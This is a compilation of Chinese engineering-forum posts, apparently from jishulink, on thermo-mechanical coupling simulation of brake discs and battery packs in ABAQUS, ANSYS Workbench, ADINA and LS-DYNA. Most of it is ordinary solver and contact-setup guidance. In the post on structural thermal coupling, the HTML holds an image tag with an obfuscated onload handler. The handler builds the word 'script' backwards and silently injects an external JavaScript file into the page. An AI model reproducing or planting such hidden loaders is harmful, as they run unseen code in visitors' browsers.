剎車盤熱力耦合分析的案例
剎車盤鼓熱力耦合分析--ADINA
ADINA-TMC 主要用于全耦合熱-力問題。對于這類問題，熱分析結果影響結構，特別是材料力學性能參數和熱應變，反之，結構計算結果如變形也影響傳熱計算，主要體現在接觸邊界改變、塑性變形生成熱和邊界摩擦生成熱。特別適于分析剎車盤鼓，車輪地面作用模擬，車輪、鐵軌之間的熱力耦合模擬，金屬材料成形模擬等。
熱-力問題能夠考慮下列影響因素：
· 材料塑性變形引起的內部熱生成 · 接觸物體之間的熱交換
· 接觸面之間摩擦引起的表面熱生成。
下面的動畫說明了某一熱-力問題耦合分析示例，該問題中涉及到接觸物體之間的熱交換和接觸面之間摩擦引起的表面熱生成。其中云圖為溫度分布。
剎車盤鼓熱力耦合分析
展開 基于Ansys WB耦合場瞬態模塊的熱-力耦合分析（案例：剎車盤）
基于Ansys WB耦合場瞬態模塊的熱-力耦合分析
1、引言
熱-力耦合分析根據其耦合的方式一般分為順序耦合和完全耦合；順序耦合是單向的，如已知溫度計算結構體的變形、應力、應變等；而完全耦合是雙向的，如剎車盤制動過程，盤片與摩擦片的摩擦生熱，熱又導致盤片變形，變形的盤片進一步影響盤片和摩擦片的接觸關系，又進一步的影響摩擦生熱，即力→熱→力→......熱力雙向耦合。
隨著Workbench軟件的更新，再2020以后的版本中加入了耦合場分析模塊，無論是順序耦合和完全耦合，均不需要插入命令流，大大簡化了分析流程。本文采用耦合場瞬態模塊進行完全熱-力耦合分析。
圖1 WB耦合場模塊
2、三維模型搭建與網格劃分
利用solidworks對剎車盤進行三維模型的搭建，摩擦片距剎車盤預定距離為1mm，如圖2所示，導入Hypermesh中進行幾何清理（將小孔、窄邊等進行優化）和網格劃分，如圖3所示，值得注意的是WB對.inp格式（Abaqus）的網格兼容性較好，因此Hypermesh導出網格類型為Abaqus的.inp文件。在這里不再過多的介紹前處理部分，主要針對耦合場的搭建與分析。
圖2剎車盤三維模型
圖3 剎車盤網格劃分
3、耦合場分析搭建
從外部導入.inp網格文件，搭建分析流程，如圖4所示。
圖4 分析流程搭建
3.1 材料定義
材料屬性的定義，參考論文[1]所給出的參數，如下表所示。
對于熱力耦合分析，比熱容、線膨脹系數、熱傳導系數是三個必要的熱力學參數。
展開 ABAQUS 剎車盤熱結構耦合分析案例 ￥10
本案例適合哪些人學習：
1、學習型仿真工程師
2、理工科院校學生
3、與剎車盤熱結構耦合相關的工程師
你會得到什么：
1、掌握剎車盤三維模型的繪制
2、掌握剎車盤熱結構耦合分析相關的材料參數設置
3、理解剎車盤熱結構耦合的分析步的建立
4、學習剎車盤熱結構耦合的相互關系的設置
5、了解剎車盤熱結構耦合網格的劃分
6、學習剎車盤熱結構耦合的載荷施加
7、學習結果后處理的查看與對比
案例介紹：
所使用軟件為ABAQUS2018.
案例介紹了使用ABAQUS進行剎車盤熱結構耦合的分析。
本案例操提供了分析相關的分析文件。
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展開 ABAQUS制動盤熱力耦合分析（雙制動片） ￥3
網格及裝配結果：
網格的單元類型為C3D8T即溫度-位移耦合。
制動盤采用中性軸算法進行網格劃分。
求解器：
隱式溫度-位移耦合；打開幾何非線性開關
三種情況下打開非線性開關：幾何非線性（大變形）；材料非線性（非線性材料）；邊界非線性/狀態非線性（接觸）。
最大增量步數：1000；最大溫度變化范圍：10℃。
連接關系構建：
定義切向接觸的摩擦系數：0.1；法向接觸默認硬接觸；摩擦生熱的轉換系數默認為1。
主從面接觸選擇原則：主面選擇大面，從面選擇小面。
接觸狀態為正接觸。
約束：創建一個中心參考點并與制動盤的內孔面創建coupling耦合約束以此來實現后續制動盤轉動的定義。
邊界條件設定：
1.位移邊界條件：制動盤的轉動
2.載荷邊界條件：制動片對制動盤的壓力
3.預定義邊界條件：制動片與制動盤的初始溫度的設定
制動盤的溫度云圖
制動片的溫度云圖
下一帖預告：軋制/旋壓仿真。
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基于comsol的動車剎車盤剎車過程發熱分析 ￥1800
</p><p><br></p><p><img src="https://img.jishulink.com/upload/201908/c9ea916338d84741bfb1b47f1700b680.png"></p><p> 碟式、通風盤式、摩擦片式都可歸于盤式剎車。盤式剎車的作用方式與普通自行車的制動方式相似—卡鉗上的<a href="https://baike.baidu.com/item/%E5%88%B9%E8%BD%A6%E7%89%87" rel="noopener noreferrer" target="_blank"><strong>剎車片</strong></a>與車輪鏈接的<a href="https://baike.baidu.com/item/%E5%88%B9%E8%BD%A6%E7%9B%98" rel="noopener noreferrer" target="_blank">剎車盤</a>在剎車時相互作用，直到車輪停止轉動。通風盤則是在剎車盤上打孔，利用行駛帶來的自然風幫助散熱。盤式剎車可以方便地與<a href="https://baike.baidu.com/item/ABS%E7%B3%BB%E7%BB%9F" rel="noopener noreferrer" target="_blank">ABS系統</a>配合，更多地在中高檔轎車上使用。除了在汽車上面應用外，盤式剎車還在軌道交通行業有著廣泛的應用，如高速動車組的制動系統。
展開 基于模態分析的剎車盤嘯叫仿真 ￥10
[圖片]
剎車盤熱應力分析
剎車盤熱應力分析
一、前處理
1、模型介紹
剎車盤模型主要包括制動盤和制動鉗，本例中的模型全部采用六面體網格劃分，網格劃分方法可以參考本公眾號之前的一篇文件《基于ANSA的六面體網格劃分技巧》。有限元模型如下圖所示：
2、創建Rigid body
通過創建Rigid body來控制剎車盤的轉動，在ANSA中創建步驟如下：ABAQUS控制面板>AUXILIARIES>R.BODY，結果如下圖所示：
3、制動盤材料參數設置
制動盤材料參數設置項主要包括：密度、熱膨脹系數、彈性模量、泊松比、比熱容、熱傳導系數。
4、制動鉗材料參數設置
制動鉗材料參數設置項主要包括：密度、熱膨脹系數和溫度關系、彈性模量以及泊松比和溫度關系、比熱容、熱傳導系數。
二、求解設置
1、分析步設置
分析步類型選擇顯示動力學，Step-1設置時間為0.001，Step-2設置時間為0.01，Step-1用于壓力計算，Step-2用于摩擦生熱計算。
2、接觸屬性設置
接觸屬性設置項主要包括：Tangential Behavior、Normal Behavior、Thermal Conductance、Heat Generation。
3、接觸對設置
接觸類型選擇Surface-to-Surface，接觸屬性選擇上一步創建的。
4、載荷施加
對制動鉗施加壓力，使其和制動盤緊密貼合。
5、約束施加
制動盤約束Z向，制動鉗約束X、Y向，旋轉中心施加弧度值。
展開 基于ABAQUS剎車盤制動熱應力分析
本案例目的在于如何在ABAQUS中實現剎車盤制動熱應力簡單仿真分析，類似的案例在技術鄰中有不少，寫這個帖子的目的在于討論整個仿真過程中遇到的問題以及如何去解決。本案例的幾個難點：材料參數的設置，約束和加載，接觸的定義。在這里重點討論接觸的定義，以及在接觸設置中存在的問題。
本案例的討論將持續完善！對本案例感興趣的朋友，麻煩點個贊，并在下方留下你的郵箱，集滿40個贊，模型將統一發到各位的郵箱，謝謝！
ABAQUS中B31焊點創建：紅色圓圈處是為了創建的焊點（首先沿著B31單元的方向，在最近的殼單元上獲得一個投影點（projectpoint);然后在投影點與B31單元的節點之間通過一個剛性梁單元(rigidbeam)連接，從而將投影點的位移、力和力矩傳遞到B31單元的節點。）
幾種焊點分析對比：
展開 Hypermesh聯合LS-dyna剎車制動盤仿真分析
定義好的接觸對如圖4所示：
圖4 剎車片和制動盤接觸對定義
利用關鍵字*CONTROL_SOLUTION并取值為2，激活熱固耦合分析類型，利用*INITIAL_TEMPERATURE_SET對摩擦片和制動盤添加初始溫度邊界條件，初始溫度設為22度。通過*CONTROL_THREMAL_SOLVER定義分析類型為瞬態非線性熱分析，并添加關鍵字*CONTROL_THREMAL_NONLINEAR激活非線性分析。
3 制動器熱固耦合后處理分析
當在Hypermesh中完成制動器熱固耦合前處理后，導出K文件，修改部分不支持的關鍵字，最后遞交到LS-DYNA971求解器進行求解，最后利用LSPREPOST進行后處理結果查看。
3.1接觸力分析
通過控制剎車片的位移，使得剎車片和制動盤之間接觸，并通過動態罰函數法求得該接觸對之間的接觸力，提供*DATABASE_RCFORC提取時間力曲線如圖5所示。
圖5 剎車片和制動盤時間接觸力曲線
由圖可以看出，施加的位移為線性，接觸力也呈線性增加的趨勢，最后調試出來的力最大數值為4699.8N，與計算所獲得的力大小基本一致，可見調試結果滿足實際工況。
展開 使用Abaqus完成剎車盤制動嘯叫分析
剎車片的兩側耳朵處約束x和y方向位移（放開指向剎車盤方向的位移自由度）；
剎車片上施加大小為500的均布壓強（注意這個模型的單位制，質量是kg，長度單位是mm，算起來壓力單位應該是kPa。即0.5MPa）
第一個分析步，剎車片和剎車盤之間沒有摩擦力，只是為了讓它們之間建立接觸。
而第二個分析步，inp文件中使用了*CHANGEFRICTION關鍵字來改變摩擦系數，改為0.3。Abaqus/CAE界面中可以在相互作用中修改第二步的接觸屬性來實現：
下圖是第二個分析步定義的關鍵字。其實很簡潔沒有幾行。
這里有一個*MOTION, ROTATION命令，似乎是不能使用Abaqus/CAE界面來進行定義。和ANSYS里的那個CMROTATE命令作用比較類似，在這個分析中用于旋轉剎車盤產生摩擦力。
*MOTION, ROTATION ROTOR, 5.0, 0.0,0.0,0.0,0.0,0.0,1.0
這個關鍵字的語法如下：
簡單來說，第一個5.0定義了旋轉速率5rad/s，后面分別定義了旋轉軸的a點和b點。
后面兩個分析步的定義關鍵字就更少了。在Abaqus中，想要提取包含摩擦阻尼的復特征值，需要先做自然頻率提取分析步，然后做復特征值提取分析步。
在CAE界面中，都屬于線性攝動分析步，一個是頻率，另一個是復數頻率。從下面截圖可以看到，靜力分析步后面只能接頻率分析步，復數頻率分析步需要跟在頻率分析步之后。
計算結果，可以看到第三步和第四步作為線性攝動分析，Abaqus給了它們1e-36，極小的分析步時間。
展開 Variation Analysis (VSA)三維公差分析-剎車盤裝配
大家好，
下面的視頻介紹Variation Analysis (VSA)剎車盤裝配：
Variation Analysis (VSA )剎車盤裝配
https://www.plm.automation.siemens.com/zh/products/tecnomatix/manufacturing-planning/dimensional-quality/variation-analysis.shtml#lightview%26url=http://media.ugs.com/tecnomatix/Brake_Assembly_Variation_Analysis.flv%26title=Variation Analysis-Brake Assembly%26width=640.0%26height=480.0%26fullscreen=false%26autoplay=true%26docType=flv
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ABAQUS熱力耦合分析
在順序耦合分析中，單獨的分析類型可以充分利用自動時間增量步算法，以提高計算效率。 然而，在完全耦合的分析中，由于熱力相互作用使得上述方法的優勢大打折扣！
因此，完全的耦合分析只在必要時使用。相對而言，順序耦合分析或絕熱分析的計算效率更高。
（3） 絕熱分析
力學變形產生的局部熱量，由于歷時極短，可以忽略相應的熱傳導，此時可應用絕熱分析。這種分析中，所有升溫都局限于材料點處，且也只影響該點處的材料屬性。
這種分析稱為“絕熱(adiabatic)”，因為每個材料點與周圍環境似乎是完全隔熱的——所有生成的熱量都保存在生成點處。
給定的事件的發生足夠迅速，以滿足絕熱假定時，才可執行絕熱分析。可以通過下式進行判斷：
為熱量通過單元邊界傳導的近似時間。
絕熱分析中的熱應力可以考慮彈塑性材料，也可以考慮材料的率相關屬性，分析類型可以是靜態或動態的。絕熱分析輸出變量為積分點上的溫度，而不是節點上的溫度。
絕熱分析必須的材料選項為：
*ELASTIC *PLASTIC
*DENSITY *SPECIFIC HEAT *INELASTIC HEAT FRACTION
可選的材料行為包括：
*RATE DEPENDENT
*LATENT HEAT
ABAQUS熱力耦合分析1.pdf
展開 ABAQUS構件熱力耦合分析
<p><strong>建模問題：</strong></p><p>1、本構的計算（熱工參數、高溫下、高溫后鋼筋和混凝土）</p><p>2、順序熱力耦合方法（溫度場、熱力分析）</p><p>3、火災下和火災后的不同之處</p><p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/upload/202006/44912a99e27e439ab4e68a657a11c465.jpg" alt="000.jpg"></p><p><br></p><p><img src="https://img.jishulink.com/upload/202006/997ad5d68f5a465e865f964e5a8c41fa.jpg" alt="2222.jpg"></p><p><br></p><div contenteditable="false" width="100%">
<img src="https://img.jishulink.com/upload/202006/15fbec100e1349c28c6d62106d3662d6.png" title="111.png" alt="111.png" style="max-width:760px;" data-mobile-src="https://img.jishulink.com
展開 abaqus電池包熱力耦合分析（附CAE模型及分析流程） ￥88
電池包熱力耦合分析
本例展示基于熱-結構耦合的熱力耦合分析。
1 問題設定 一塊電池組，尺寸為 70mm x 175mm x 400mm。對模型進行適當簡化，保留主體電芯和 PC 部分，約束電池組底部 Z 方向，電芯部分給定生熱源，電池組外表面給定自然對流散熱 邊界條件，模擬電池組溫度變化和應力變化。 由于需要進行實時熱力耦合分析，因此電池，PC 材料等采用實體建模，設定相關的 coupling 耦合單元和 tie 約束，建立電芯和 PC 材料之間的接觸關系（包括熱接觸）。
2 分析過程 一般來說，針對熱力學問題，通常有順序耦合和完全耦合兩種方法。順序耦合是先進行 熱傳導分析，得到溫度分布結果，然后把溫度分布結果映射到結構分析模型上。 完全耦合 則是直接在 abaqus 中直接給建立的 coupled temp-displacement 分析步，完全實時同步計算 溫度變化和應力變化，并可考慮溫度和結構變形之間的互相影響。
2.1 有限元計算
2.1.1 幾何處理 在 CAD 軟件中進行簡單處理后，導入 Abaqus 中，需要對零件進行幾何清理和修復，刪 除不必要的細節特征。
2.1.2 賦予材料屬性 根據不同材料電池，PC 等賦予相應的材料參數，注意因為這里需要進行完全熱力耦合分析， 因此材料參數必須同時具有力學參數和熱學參數，包括：密度，彈性模量，泊松比，塑性曲 線，熱膨脹系數，熱導率，比熱等， 如下圖所示：
2.1.3 模型裝配 在 Abaqus 中裝配的模型，通在 CAD 軟件中裝配位置關系完全一致。如果在 CAD 軟件中 已經裝配即可。
展開 有限元熱力耦合分析？
Abaqus運行后顯示User subroutine utemp is missing Abaqus/Standard Analysis exite 應該怎么解決
